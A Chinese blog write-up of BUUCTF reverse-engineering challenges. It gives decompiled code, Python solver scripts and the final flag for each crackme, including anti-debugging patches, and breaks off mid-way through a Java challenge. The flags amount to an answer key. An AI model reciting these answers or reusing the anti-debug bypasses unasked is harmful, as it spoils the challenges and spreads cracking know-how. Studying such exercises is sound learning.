简介

是北京联合大学的一个平台,题目有在更新,但是个人感觉题目难度很迷,不过是动态积分的方式,难度也可以看出来就是了。

Write Up持续更新, 有空就刷, 希望有一天能够刷穿题库

练习平台:BUUCTF

Reverse

easyre

IDA打开,main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int b; // [rsp+28h] [rbp-8h]
int a; // [rsp+2Ch] [rbp-4h]

_main();
scanf("%d%d", &a, &b);
if ( a == b )
printf("flag{this_Is_a_EaSyRe}");
else
printf("sorry,you can't get flag");
return 0;
}

helloword

jeb3打开,MainActivity:

.method protected onCreate(Bundle)V
.registers 6
00000000 invoke-super ActionBarActivity->onCreate(Bundle)V, p0, p1
00000006 const v3, 0x7F030018
0000000C invoke-virtual MainActivity->setContentView(I)V, p0, v3
00000012 const-string v0, "flag{7631a988259a00816deda84afb29430a}"
00000016 const-string v1, "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
0000001A invoke-virtual String->compareTo(String)I, v0, v1
00000020 move-result v2
00000022 return-void
.end method

reverse1

IDA打开,追踪字符串到主要函数:

__int64 sub_1400118C0()
{
char *v0; // rdi
signed __int64 i; // rcx
size_t v2; // rax
size_t v3; // rax
char v5; // [rsp+0h] [rbp-20h]
int j; // [rsp+24h] [rbp+4h]
char Str1; // [rsp+48h] [rbp+28h]
unsigned __int64 v8; // [rsp+128h] [rbp+108h]

v0 = &v5;
for ( i = 82i64; i; --i )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}
for ( j = 0; ; ++j )
{
v8 = j;
v2 = j_strlen(Str2);
if ( v8 > v2 )
break;
if ( Str2[j] == 111 )
Str2[j] = 48;
}
sub_1400111D1("input the flag:");
sub_14001128F("%20s", &Str1);
v3 = j_strlen(Str2);
if ( !strncmp(&Str1, Str2, v3) )
sub_1400111D1("this is the right flag!\n");
else
sub_1400111D1("wrong flag\n");
sub_14001113B(&v5, &unk_140019D00);
return 0i64;
}

查看Str2:

.data:000000014001C000 Str2            db '{hello_world}',0

flag{hello_world}

reverse2

IDA打开,主函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int stat_loc; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
__pid_t pid; // [rsp+Ch] [rbp-34h]
char s2; // [rsp+10h] [rbp-30h]
unsigned __int64 v8; // [rsp+28h] [rbp-18h]

v8 = __readfsqword(0x28u);
pid = fork();
if ( pid )
{
argv = (const char **)&stat_loc;
waitpid(pid, &stat_loc, 0);
}
else
{
for ( i = 0; i <= strlen(flag); ++i )
{
if ( flag[i] == 'i' || flag[i] == 'r' )
flag[i] = '1';
}
}
printf("input the flag:", argv);
__isoc99_scanf("%20s", &s2);
if ( !strcmp(flag, &s2) )
result = puts("this is the right flag!");
else
result = puts("wrong flag!");
return result;
}

查看flag:

.data:0000000000601080 flag            db '{'                  ; DATA XREF: main+34↑r
.data:0000000000601080 ; main+44↑r ...
.data:0000000000601081 aHackingForFun db 'hacking_for_fun}',0

由于前面:

for ( i = 0; i <= strlen(flag); ++i )
{
if ( flag[i] == 'i' || flag[i] == 'r' )
flag[i] = '1';
}

so,最终flag为:

flag{hack1ng_fo1_fun}

刮开有奖

IDA打开,查看字符串发现base64 table表

.rdata:00407830 byte_407830     db 41h                  ; DATA XREF: sub_401000+C0↑r
.rdata:00407831 aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',0

整理一下:

.rdata:00407830 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='

追到判断函数,根据经验修改类型和大小:

BOOL __stdcall DialogFunc(HWND hDlg, UINT a2, WPARAM a3, LPARAM a4)
{
const char *v4; // esi
const char *v5; // edi
int key[11]; // [esp+8h] [ebp-20030h]
CHAR input[8]; // [esp+34h] [ebp-20004h]
CHAR v9; // [esp+10034h] [ebp-10004h]
CHAR v10; // [esp+10035h] [ebp-10003h]
CHAR v11; // [esp+10036h] [ebp-10002h]

if ( a2 == 272 )
return 1;
if ( a2 != 273 )
return 0;
if ( (_WORD)a3 == 1001 )
{
memset(input, 0, 0xFFFFu);
GetDlgItemTextA(hDlg, 1000, input, 0xFFFF);
if ( strlen(input) == 8 )
{
key[0] = 90;
key[1] = 74;
key[2] = 83;
key[3] = 69;
key[4] = 67;
key[5] = 97;
key[6] = 78;
key[7] = 72;
key[8] = 51;
key[9] = 110;
key[10] = 103;
sub_4010F0(key, 0, 10);
memset(&v9, 0, 0xFFFFu);
v9 = input[5];
v11 = input[7];
v10 = input[6];
v4 = base64((int)&v9, strlen(&v9));
memset(&v9, 0, 0xFFFFu);
v10 = input[3];
v9 = input[2];
v11 = input[4];
v5 = base64((int)&v9, strlen(&v9));
if ( input[0] == key[0] + 34
&& input[1] == key[4]
&& 4 * input[2] - 141 == 3 * key[2]
&& input[3] / 4 == 2 * (key[7] / 9)
&& !strcmp(v4, "ak1w")
&& !strcmp(v5, "V1Ax") )
{
MessageBoxA(hDlg, "U g3t 1T!", "@_@", 0);
}
}
return 0;
}
if ( (_WORD)a3 != 1 && (_WORD)a3 != 2 )
return 0;
EndDialog(hDlg, (unsigned __int16)a3);
return 1;
}

sub_4010F0(key, 0, 10):

int __cdecl sub_4010F0(int *a1, int a2, int num_10)
{
int result; // eax
int i; // esi
int v5; // ecx
int v6; // edx

result = num_10;
for ( i = a2; i <= num_10; a2 = i )
{
v5 = i;
v6 = a1[i];
if ( a2 < result && i < result )
{
do
{
if ( v6 > a1[result] )
{
if ( i >= result )
break;
++i;
a1[v5] = a1[result];
if ( i >= result )
break;
while ( a1[i] <= v6 )
{
if ( ++i >= result )
goto LABEL_13;
}
if ( i >= result )
break;
v5 = i;
a1[result] = a1[i];
}
--result;
}
while ( i < result );
}
LABEL_13:
a1[result] = v6;
sub_4010F0(a1, a2, i - 1);
result = num_10;
++i;
}
return result;
}

研究一下就会发现是个从小到大的排序。

则解密脚本如下:

import base64

s2 = base64.b64decode("ak1w")
s1 = base64.b64decode("V1Ax")

key = [ 0 for i in xrange(11) ]

key[0] = 90
key[1] = 74
key[2] = 83
key[3] = 69
key[4] = 67
key[5] = 97
key[6] = 78
key[7] = 72
key[8] = 51
key[9] = 110
key[10] = 103

key.sort()

flag = chr(key[0] + 34) + chr(key[4]) + s1 + s2

print flag

flag{UJWP1jMp}

rsa

打开来两个文件,公钥密文都有,解密脚本如下:

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Util.number import inverse
import base64

message = open('flag.enc',"r")
cipher_text = message.read()
f = open('pub.key', "r")
publickey = f.read()
publickey = RSA.importKey(publickey)
# print(publickey.n)
# print(publickey.e)
n = 86934482296048119190666062003494800588905656017203025617216654058378322103517
e = 65537
p = 285960468890451637935629440372639283459
q = 304008741604601924494328155975272418463
r = (p - 1) * (q - 1)
d = inverse(e,r)
# print d
privatekey = RSA.construct((long(n), long(e), long(d), long(p), long(q)))
key = PKCS1_v1_5.new(privatekey)
msg = key.decrypt(cipher_text, e)

print msg

flag{decrypt_256}

参考:

RSA-ctf-wiki

整数分解

CrackRTF

IDA打开,追踪字符串到主要函数:

int main_0()
{
DWORD v0; // eax
DWORD v1; // eax
CHAR String; // [esp+4Ch] [ebp-310h]
int v4; // [esp+150h] [ebp-20Ch]
CHAR String1; // [esp+154h] [ebp-208h]
char input[6]; // [esp+258h] [ebp-104h]

memset(input, 0, 0x104u);
memset(&String1, 0, 0x104u);
v4 = 0;
printf("pls input the first passwd(1): ");
scanf("%s", input);
if ( strlen(input) != 6 )
{
printf("Must be 6 characters!\n");
ExitProcess(0);
}
v4 = atoi(input);
if ( v4 < 100000 )
ExitProcess(0);
strcat(input, "@DBApp");
v0 = strlen(input);
sub_40100A((BYTE *)input, v0, &String1);
if ( !_strcmpi(&String1, "6E32D0943418C2C33385BC35A1470250DD8923A9") )
{
printf("continue...\n\n");
printf("pls input the first passwd(2): ");
memset(&String, 0, 0x104u);
scanf("%s", &String);
if ( strlen(&String) != 6 )
{
printf("Must be 6 characters!\n");
ExitProcess(0);
}
strcat(&String, input);
memset(&String1, 0, 0x104u);
v1 = strlen(&String);
sub_401019((BYTE *)&String, v1, &String1);
if ( !_strcmpi("27019e688a4e62a649fd99cadaafdb4e", &String1) )
{
if ( !(unsigned __int8)sub_40100F(&String) )
{
printf("Error!!\n");
ExitProcess(0);
}
printf("bye ~~\n");
}
}
return 0;
}

输入两次验证flag。

第一次

hash值在线爆破,直接得第一部分123321,进入第二部分

D:\CTF\Games\Exam\BUUCTF\CrackRTF>CrackRTF.exe
pls input the first passwd(1): 123321
continue...

pls input the first passwd(2):

第二次

无法爆破,观察到sub_40100F函数中:

char __cdecl sub_4014D0(LPCSTR lpString)
{
LPCVOID lpBuffer; // [esp+50h] [ebp-1Ch]
DWORD NumberOfBytesWritten; // [esp+58h] [ebp-14h]
DWORD nNumberOfBytesToWrite; // [esp+5Ch] [ebp-10h]
HGLOBAL hResData; // [esp+60h] [ebp-Ch]
HRSRC hResInfo; // [esp+64h] [ebp-8h]
HANDLE hFile; // [esp+68h] [ebp-4h]

hFile = 0;
hResData = 0;
nNumberOfBytesToWrite = 0;
NumberOfBytesWritten = 0;
hResInfo = FindResourceA(0, (LPCSTR)0x65, "AAA");
if ( !hResInfo )
return 0;
nNumberOfBytesToWrite = SizeofResource(0, hResInfo);
hResData = LoadResource(0, hResInfo);
if ( !hResData )
return 0;
lpBuffer = LockResource(hResData);
sub_401005(lpString, (int)lpBuffer, nNumberOfBytesToWrite);
hFile = CreateFileA("dbapp.rtf", 0x10000000u, 0, 0, 2u, 0x80u, 0);
if ( hFile == (HANDLE)-1 )
return 0;
if ( !WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0) )
return 0;
CloseHandle(hFile);
return 1;
}

会生成一个dbapp.rtf文件。

随便输入123321得,此处用010editor打开:

20190707134714

在生成文件前sub_401005进行了异或操作:

unsigned int __cdecl sub_401420(LPCSTR lpString, int a2, int a3)
{
unsigned int result; // eax
unsigned int i; // [esp+4Ch] [ebp-Ch]
unsigned int v5; // [esp+54h] [ebp-4h]

v5 = lstrlenA(lpString);
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a3 )
break;
*(_BYTE *)(i + a2) ^= lpString[i % v5];
}
return result;
}

则可以逆解出异或因子:

s = [0x34,0x4f,0x72,0x26,0x14,0x30,0x5c,0x61,0x6e,0x73,0x69,0x5c,0x61,0x6e,0x73,0x69,0x63,0x70,0x28,0x2a,0x33,0x64,0x2e,0x65,0x65,0x66,0x66,0x30,0x5c,0x64,0x65,0x66,0x6c,0x61,0x6e,0x67,0x7e,0x23,0x33,0x61,0x2e,0x65,0x65,0x66,0x6c,0x61,0x6e,0x67,0x66,0x65,0x32,0x30,0x35,0x32,0x34,0x4f,0x66,0x3d,0x1c,0x75,0x74,0x62,0x6c,0x7b,0x5c,0x66,0x30,0x5c,0x66,0x6d,0x6f,0x64,0x2a,0x61,0x6e,0x0e,0x14,0x71,0x72,0x71,0x36,0x5c,0x66,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x7e,0x20,0x34,0x72,0x2e,0x26,0x63,0x62,0x5c,0x27,0x63,0x65,0x5c,0x27,0x63,0x63,0x5c,0x27,0x2a,0x26,0x3b,0x2f,0x0f,0x0c,0x0a,0x7b,0x5c,0x2a,0x5c,0x67,0x65,0x6e,0x65,0x72,0x61,0x74,0x20,0x61,0x20,0x1f,0x01,0x67,0x74,0x65,0x64,0x69,0x74,0x20,0x35,0x2e,0x34,0x31,0x2e,0x31,0x7a,0x3d,0x31,0x67,0x43,0x34,0x3b,0x7d,0x5c,0x76,0x69,0x65,0x77,0x6b,0x69,0x6e,0x64,0x34,0x13,0x66,0x63,0x63,0x2e,0x71,0x61,0x72,0x64,0x5c,0x6c,0x61,0x6e,0x67,0x32,0x30,0x35,0x32,0x13,0x75,0x30,0x0e,0x14,0x72,0x32,0x30,0x20,0x46,0x6c,0x61,0x67,0x5c,0x7b,0x4e,0x30,0x5f,0x02,0x23,0x72,0x37,0x2d,0x47,0x72,0x65,0x65,0x5f,0x42,0x75,0x67,0x73,0x5c,0x7d,0x5c,0x70,0x2e,0x61,0x0d,0x58,0x0f,0x0c,0x0a,0x00]

key = map(ord, "123321123321@DBApp")

for i in xrange(len(s)):
s[i] ^= key[i % len(key)]

在本地新建RTF文件,可知文件头6位应该为”{\\rtf1“,则可解出第二次输入的字符:

key = map(ord, "{\\rtf1")
for i in xrange(len(key)):
s[i] ^= key[i]

print "".join(map(chr,s[0:6]))

为:~!3a@0

输入得最终rtf文件,里面就有flag,为:

Flag{N0_M0re_Free_Bugs}(提交时要将F改为f

crackMe

解压得crackMe.exe,打开:

Come one! Crack Me~~~
user(6-16 letters or numbers):

user已经给出,为welcomebeijing

输入后:

password(6-16 letters or numbers):

IDA打开,跟踪字符串到主要函数,根据经验稍做修改:

int __usercall wmain@<eax>(int a1@<ebx>)
{
FILE *v1; // eax
FILE *v2; // eax
char v4; // [esp+3h] [ebp-405h]
char v5; // [esp+4h] [ebp-404h]
char v6; // [esp+5h] [ebp-403h]
char v7; // [esp+104h] [ebp-304h]
char v8; // [esp+105h] [ebp-303h]
char password[16]; // [esp+204h] [ebp-204h]
char user[16]; // [esp+304h] [ebp-104h]

printf("Come one! Crack Me~~~\n");
user[0] = 0;
memset(&user[1], 0, 0xFFu);
password[0] = 0;
memset(&password[1], 0, 0xFFu);
while ( 1 )
{
do
{
do
{
printf("user(6-16 letters or numbers):");
scanf("%s", user);
v1 = (FILE *)sub_3E24BE();
fflush(v1);
}
while ( !(unsigned __int8)sub_3E1000(user) );
printf("password(6-16 letters or numbers):");
scanf("%s", password);
v2 = (FILE *)sub_3E24BE();
fflush(v2);
}
while ( !(unsigned __int8)sub_3E1000(password) );
init_box(user);
v7 = 0;
memset(&v8, 0, 0xFFu);
v5 = 0;
memset(&v6, 0, 0xFFu);
v4 = init_print(&v7, &v5);
if ( check(a1, user, password) )
{
if ( v4 )
break;
}
printf(&v5);
}
printf(&v7);
return 0;
}

由调试分析得:

init_box函数会将user进行一波操作生成一个box用于后面的异或操作。

可以直接导出,但后面其实没必要用到。

init_print函数会初始化两个输出字符串,一个成功一个失败,但由于有异常花指令导致IDA无法识别为函数,根据分析,直接将异常nop掉就可以了

.text:003E11EA 0               nop
.text:003E11EB 0 nop
.text:003E11EC 0 nop
.text:003E11ED 0 nop
.text:003E11EE 0 nop
.text:003E11EF 0 nop
.text:003E11F0 0 aaa

接着就重要的check函数:

bool __cdecl check(char *user, const char *password)
{
int v3; // [esp+18h] [ebp-22Ch]
unsigned int v4; // [esp+1Ch] [ebp-228h]
unsigned int v5; // [esp+28h] [ebp-21Ch]
unsigned int v6; // [esp+30h] [ebp-214h]
char v7; // [esp+36h] [ebp-20Eh]
char v8; // [esp+37h] [ebp-20Dh]
char v9; // [esp+38h] [ebp-20Ch]
unsigned __int8 v10; // [esp+39h] [ebp-20Bh]
unsigned __int8 v11; // [esp+3Ah] [ebp-20Ah]
char v12; // [esp+3Bh] [ebp-209h]
int v13; // [esp+3Ch] [ebp-208h]
char v14; // [esp+40h] [ebp-204h]
char v15; // [esp+41h] [ebp-203h]
_BYTE key[256]; // [esp+140h] [ebp-104h]

v4 = 0;
v5 = 0;
v11 = 0;
v10 = 0;
key[0] = 0;
memset(&check_num[1], 0, 0xFFu);
v14 = 0;
memset(&v15, 0, 0xFFu);
v9 = 0;
v6 = 0;
v3 = 0;
while ( v6 < strlen(password) )
{
if ( isdigit(password[v6]) )
{
v8 = password[v6] - 48;
}
else if ( isxdigit(password[v6]) )
{
if ( *(_DWORD *)(*(_DWORD *)(__readfsdword(0x30u) + 24) + 12) != 2 )
password[v6] = 34;
v8 = (password[v6] | 0x20) - 87;
}
else
{
v8 = ((password[v6] | 0x20) - 97) % 6 + 10;
}
v9 = v8 + 16 * v9;
if ( !((signed int)(v6 + 1) % 2) )
{
*(&v14 + v3++) = v9;
v9 = 0;
}
++v6;
}
while ( (signed int)v5 < 8 )
{
v10 += box[++v11];
v12 = box[v11];
v7 = box[v10];
box[v10] = v12;
box[v11] = v7;
if ( *(_DWORD *)(__readfsdword(0x30u) + 104) & 0x70 )
v12 = v10 + v11;
key[v5] = box[(unsigned __int8)(v7 + v12)] ^ *(&v14 + v4);
if ( *(_DWORD *)(__readfsdword(0x30u) + 2) & 0xFF )
{
v10 = -83;
v11 = 43;
}
xor(check_num, user, v5++);
v4 = v5;
if ( v5 >= &v14 + strlen(&v14) + 1 - &v15 )
v4 = 0;
}
v13 = 0;
check2(key, &check_num);
return check_num == 43924;
}

根据调试,输入的password会每两个为一组(第一个while就是在将输入转为两个为一组的十六进制字符),来与box中的特定位置的数异或,得到一组8个key,后进入check2进行验证,最终得到check_num == 43924则成功。

check2:

_DWORD *__usercall check2@<eax>(int a1@<ebx>, _BYTE *key, _DWORD *a3)
{
int v3; // ST28_4
int v4; // ecx
int v6; // edx
int v8; // ST20_4
int v9; // eax
int v10; // edi
int v11; // ST1C_4
int v12; // edx
char v13; // di
int v14; // ST18_4
int v15; // eax
int v16; // ST14_4
int v17; // edx
char v18; // al
int v19; // ST10_4
int v20; // ecx
int v23; // ST0C_4
int v24; // eax
_DWORD *result; // eax
int v26; // edx

if ( *key == 100 )
{
*a3 |= 4u;
v4 = *a3;
}
else
{
*a3 ^= 3u;
}
v3 = *a3;
if ( key[1] == 98 )
{
_EAX = a3;
*a3 |= 0x14u;
v6 = *a3;
}
else
{
*a3 &= 0x61u;
_EAX = (_DWORD *)*a3;
}
__asm { aam }
if ( key[2] == 97 )
{
*a3 |= 0x84u;
v9 = *a3;
}
else
{
*a3 &= 0xAu;
}
v8 = *a3;
v10 = ~(a1 >> -91);
if ( key[3] == 112 )
{
*a3 |= 0x114u;
v12 = *a3;
}
else
{
*a3 >>= 7;
}
v11 = *a3;
v13 = v10 - 1;
if ( key[4] == 112 )
{
*a3 |= 0x380u;
v15 = *a3;
}
else
{
*a3 *= 2;
}
v14 = *a3;
if ( *(_DWORD *)(*(_DWORD *)(__readfsdword(0x30u) + 24) + 12) != 2 )
{
if ( key[5] == 102 )
{
*a3 |= 0x2DCu;
v17 = *a3;
}
else
{
*a3 |= 0x21u;
}
v16 = *a3;
}
if ( key[5] == 115 )
{
*a3 |= 0xA04u;
v18 = (char)a3;
v20 = *a3;
}
else
{
v18 = (char)a3;
*a3 ^= 0x1ADu;
}
v19 = *a3;
_AL = v18 - v13;
__asm { daa }
if ( key[6] == 101 )
{
*a3 |= 0x2310u;
v24 = *a3;
}
else
{
*a3 |= 0x4Au;
}
v23 = *a3;
if ( key[7] == 99 )
{
result = a3;
*a3 |= 0x8A10u;
v26 = *a3;
}
else
{
*a3 &= 0x3A3u;
result = (_DWORD *)*a3;
}
return result;
}

由分析可知,key应该为:key = [100, 98, 97, 112, 112, 115, 101, 99],即dbappsec(本来key[5]可能值为115或102但前面由做过以dbappsec为密钥的题,便猜测为dbappsec)

接着,根据调试可知,xor函数是将key和user每位对应异或。

接着在调试中将box参与异或的位数提取出来,即可,但解出来本地输入就错误,故猜测下面这两处地方将异或操作进行了类似于反调试的操作,故将这两处直接nop掉

if ( *(_DWORD *)(__readfsdword(0x30u) + 104) & 0x70 )
v12 = v10 + v11;

if ( *(_DWORD *)(__readfsdword(0x30u) + 2) & 0xFF )
{
v10 = -83;
v11 = 43;
}

最终得到解密脚本:

key = [100, 98, 97, 112, 112, 115, 101, 99]
print "".join(map(chr,key))
xor = [0x2A, 0xD7, 0x92, 0xE9, 0x53, 0xE2, 0xC4, 0xCD]

user = "welcomebeijing"

for i in xrange(len(key)):
key[i] ^= ord(user[i])
key[i] ^= xor[i]
print hex(key[i])[2:]

得到:39d09ffa4cfcc4cc

本地输入不会出现Please try again则猜测通过,但md532位小写hash加密后提交却不对,陷入自闭。

后用cmd打开crackMe.exe发现39d09ffa4cfcc4cc是错误的!

故用cmd直接打开,用IDA attach上去调试,xor数组不变但原程序中xor函数中不执行异或操作,实际毫无效果。

xor

因为调试直接跳过,就没有注意到下面会因为窗口的不同而不同,还是tcl…..

StartupInfo.dwX
|| StartupInfo.dwY
|| StartupInfo.dwXCountChars
|| StartupInfo.dwYCountChars
|| StartupInfo.dwFillAttribute
|| StartupInfo.dwXSize
|| StartupInfo.dwYSize

最终解密脚本为:

key = [100, 98, 97, 112, 112, 115, 101, 99]
print "".join(map(chr,key))
xor = [0x2A, 0xD7, 0x92, 0xE9, 0x53, 0xE2, 0xC4, 0xCD]

user = "welcomebeijing"

for i in xrange(len(key)):
key[i] ^= xor[i]
print hex(key[i])[2:]

得到第二个密码4EB5F3992391A1AE

user(6-16 letters or numbers):welcomebeijing
password(6-16 letters or numbers):4EB5F3992391A1AE
Congratulations:

之后进行md5加密后提交,得正确flag:

flag{d2be2981b84f2a905669995873d6a36c}

findit

下载下来是个apk文件,就直接jeb打开,根据字符串找到主要函数:

protected void onCreate(Bundle arg8) {
super.onCreate(arg8);
this.setContentView(0x7F030018);
this.findViewById(0x7F05003D).setOnClickListener(new View$OnClickListener(new char[]{'T', 'h', 'i', 's', 'I', 's', 'T', 'h', 'e', 'F', 'l', 'a', 'g', 'H', 'o', 'm', 'e'}, this.findViewById(0x7F05003E), new char[]{'p', 'v', 'k', 'q', '{', 'm', '1', '6', '4', '6', '7', '5', '2', '6', '2', '0', '3', '3', 'l', '4', 'm', '4', '9', 'l', 'n', 'p', '7', 'p', '9', 'm', 'n', 'k', '2', '8', 'k', '7', '5', '}'}, this.findViewById(0x7F05003F)) {
public void onClick(View arg13) {
int v11 = 17;
int v10 = 0x7A;
int v9 = 90;
int v8 = 65;
int v7 = 97;
char[] v3 = new char[v11];
char[] v4 = new char[38];
int v0;
for(v0 = 0; v0 < v11; ++v0) {
if(this.val$a[v0] >= 73 || this.val$a[v0] < v8) {
if(this.val$a[v0] < 105 && this.val$a[v0] >= v7) {
label_39:
v3[v0] = ((char)(this.val$a[v0] + 18));
goto label_44;
}

if(this.val$a[v0] >= v8 && this.val$a[v0] <= v9 || this.val$a[v0] >= v7 && this.val$a[v0] <= v10) {
v3[v0] = ((char)(this.val$a[v0] - 8));
goto label_44;
}

v3[v0] = this.val$a[v0];
}
else {
goto label_39;
}

label_44:
}

if(String.valueOf(v3).equals(this.val$edit.getText().toString())) {
v0 = 0;
goto label_18;
}
else {
this.val$text.setText("答案错了肿么办。。。不给你又不好意思。。。哎呀好纠结啊~~~");
return;
label_18:
while(v0 < 38) {
if(this.val$b[v0] < v8 || this.val$b[v0] > v9) {
if(this.val$b[v0] >= v7 && this.val$b[v0] <= v10) {
label_80:
v4[v0] = ((char)(this.val$b[v0] + 16));
if((v4[v0] <= v9 || v4[v0] >= v7) && v4[v0] < v10) {
goto label_95;
}

v4[v0] = ((char)(v4[v0] - 26));
goto label_95;
}

v4[v0] = this.val$b[v0];
}
else {
goto label_80;
}

label_95:
++v0;
}

this.val$text.setText(String.valueOf(v4));
}
}
});
}

观察后发现解题方法有2:

1.逆推出输入

2.复现flag生成过程

我这里采用第2种,脚本如下:

flag = "pvkq{m164675262033l4m49lnp7p9mnk28k75}"
flag = map(ord,flag)

v11 = 17
v10 = 0x7A
v9 = 90
v8 = 65
v7 = 97

for i in xrange(len(flag)):
if flag[i] < v8 or flag[i] > v9:
if flag[i] >= v7 and flag[i] <= v10 :
flag[i] += 16
if (flag[i] <= v9 or flag[i] >= v7) and flag[i] < v10:
continue
flag[i] = flag[i] - 26
continue
else:
flag[i] += 16
if (flag[i] <= v9 or flag[i] >= v7) and flag[i] < v10:
continue
flag[i] = flag[i] - 26
continue

print "".join(map(chr,flag))


得flag:
flag{c164675262033b4c49bdf7f9cda28a75}

新年快乐

IDA打开, UPX壳, 官方工具直接脱

重新打开,直接能看到flag

xnkl-main

得flag:

flag{HappyNewYear!}

内涵的软件

IDA打开直接看到flag

reverse3-main

得flag:

flag{49d3c93df25caad81232130f3d2ebfad}

xor

IDA打开,简单的异或题

xor-main

python脚本:

s = [0x66, 0x0A, 0x6B, 0x0C, 0x77, 0x26, 0x4F, 0x2E, 0x40, 0x11, 0x78, 0x0D, 0x5A, 0x3B, 0x55, 0x11, 0x70, 0x19, 0x46, 0x1F, 0x76, 0x22, 0x4D, 0x23, 0x44, 0x0E, 0x67, 0x06, 0x68, 0x0F, 0x47, 0x32, 0x4F]

for i in range(31, -1, -1):
s[i + 1] ^= s[i]

print(''.join(map(chr,s)))

得到flag:

flag{QianQiuWanDai_YiTongJiangHu}

reverse3

IDA打开简单的加密

reverse3-main

import base64
s = bytearray(b"e3nifIH9b_C@n@dH")

for i in range(len(s)):
s[i] -= i

print(base64.b64decode(s))

得到flag:

flag{i_l0ve_you}

SimpleRev

WSL子系统运行不了,file 一下是ELF 64-bit LSB程序

IDA打开,主要逻辑如下

unsigned __int64 Decry()
{
char v1; // [rsp+Fh] [rbp-51h]
int v2; // [rsp+10h] [rbp-50h]
int v3; // [rsp+14h] [rbp-4Ch]
int i; // [rsp+18h] [rbp-48h]
int v5; // [rsp+1Ch] [rbp-44h]
char src[8]; // [rsp+20h] [rbp-40h]
__int64 v7; // [rsp+28h] [rbp-38h]
int v8; // [rsp+30h] [rbp-30h]
__int64 v9; // [rsp+40h] [rbp-20h]
__int64 v10; // [rsp+48h] [rbp-18h]
int v11; // [rsp+50h] [rbp-10h]
unsigned __int64 v12; // [rsp+58h] [rbp-8h]

v12 = __readfsqword(0x28u);
*(_QWORD *)src = 'SLCDN';
v7 = 0LL;
v8 = 0;
v9 = 'wodah';
v10 = 0LL;
v11 = 0;
text = join(key3, (const char *)&v9); // join函数的作用是拼接 最终text='killshadow'
strcpy(key, key1); // 把key1 'ADSFK' 复制到key
strcat(key, src); // 把'SLCDN'反着接到后面 最后key='ADSFKNDCLS'
v2 = 0;
v3 = 0;
getchar();
v5 = strlen(key);
for ( i = 0; i < v5; ++i ) // key大写变小写
{
if ( key[v3 % v5] > 64 && key[v3 % v5] <= 90 )
key[i] = key[v3 % v5] + 32;
++v3;
}
printf("Please input your flag:", src);
while ( 1 )
{
v1 = getchar();
if ( v1 == 10 )
break;
if ( v1 == 32 )
{
++v2;
}
else
{
if ( v1 <= '`' || v1 > 'z' )
{
if ( v1 > '@' && v1 <= 'Z' ) // 这部分可以之间爆
str2[v2] = (v1 - 39 - key[v3++ % v5] + 97) % 26 + 97;
}
else
{
str2[v2] = (v1 - 39 - key[v3++ % v5] + 97) % 26 + 97;
}
if ( !(v3 % v5) )
putchar(32);
++v2;
}
}
if ( !strcmp(text, str2) )
puts("Congratulation!\n");
else
puts("Try again!\n");
return __readfsqword(0x28u) ^ v12;
}

爆破脚本:

text = bytearray(b"killshadow")

key = bytearray(b"ADSFKNDCLS")

for i in range(len(key)):
c = key[i]
if ord('@') < c <= ord('Z'):
key[i] += 32

flag = ""

for i in range(len(key)):
for f in range(0x41, 0x80):
if ((f - 39 - key[i] + 97) % 26 + 97) == text[i]:
flag += chr(f)
break
print(flag)

得到flag

flag{KLDQCUDFZO}

不一样的flag

主逻辑在main中,根据经验,是一道典型的迷宫题

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v3; // [esp+17h] [ebp-35h]
int v4; // [esp+30h] [ebp-1Ch]
int v5; // [esp+34h] [ebp-18h]
signed int v6; // [esp+38h] [ebp-14h]
int i; // [esp+3Ch] [ebp-10h]
int v8; // [esp+40h] [ebp-Ch]

__main();
v4 = 0;
v5 = 0;
qmemcpy(&v3, _data_start__, 0x19u);
while ( 1 )
{
puts("you can choose one action to execute");
puts("1 up");
puts("2 down");
puts("3 left");
printf("4 right\n:");
scanf("%d", &v6);
if ( v6 == 2 )
{
++v4;
}
else if ( v6 > 2 )
{
if ( v6 == 3 )
{
--v5;
}
else
{
if ( v6 != 4 )
LABEL_13:
exit(1);
++v5;
}
}
else
{
if ( v6 != 1 )
goto LABEL_13;
--v4;
}
for ( i = 0; i <= 1; ++i )
{
if ( *(&v4 + i) < 0 || *(&v4 + i) > 4 )
exit(1);
}
if ( *((_BYTE *)&v8 + 5 * v4 + v5 - 0x29) == '1' )
exit(1);
if ( *((_BYTE *)&v8 + 5 * v4 + v5 - 0x29) == '#' )
{
puts("\nok, the order you enter is the flag!");
exit(0);
}
}
}

迷宫在_data_start__中:

.data:00402000 __data_start__  db   '*', '1', '1', '1', '1'
.data:00402000 ; DATA XREF: _main+25↑o
.data:00402000 db '0', '1', '0', '0', '0'
.data:00402000 db '0', '1', '0', '1', '0'
.data:00402000 db '0', '0', '0', '1', '0'
.data:00402000 db '1', '1', '1', '1', '#'

因为是小迷宫,手走一遍就可以了:222441144222

即flag:

flag{222441144222}

Java逆向解密

XJad直接打开

// Decompiled by Jad v1.5.8e2. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://kpdus.tripod.com/jad.html
// Decompiler options: packimports(3) fieldsfirst ansi space
// Source File Name: Reverse.java

import java.io.PrintStream;
import java.util.ArrayList;
import java.util.Scanner;

public class Reverse
{

public Reverse()
{
}

public static void main(String args[])
{
Scanner s = new Scanner(System.in);
System.out.println("Please input the flag :");
String str = s.next();
System.out.println("Your input is :");
System.out.println(str);
char stringArr[] = str.toCharArray();
Encrypt(stringArr);
}

public static void Encrypt(char arr[])
{
ArrayList Resultlist = new ArrayList();
for (int i = 0; i < arr.length; i++)
{
int result = arr[i] + 64 ^ 0x20;
Resultlist.add(Integer.valueOf(result));
}

int KEY[] = {
180, 136, 137, 147, 191, 137, 147, 191, 148, 136,
133, 191, 134, 140, 129, 135, 191, 65
};
ArrayList KEYList = new ArrayList();
for (int j = 0; j < KEY.length; j++)
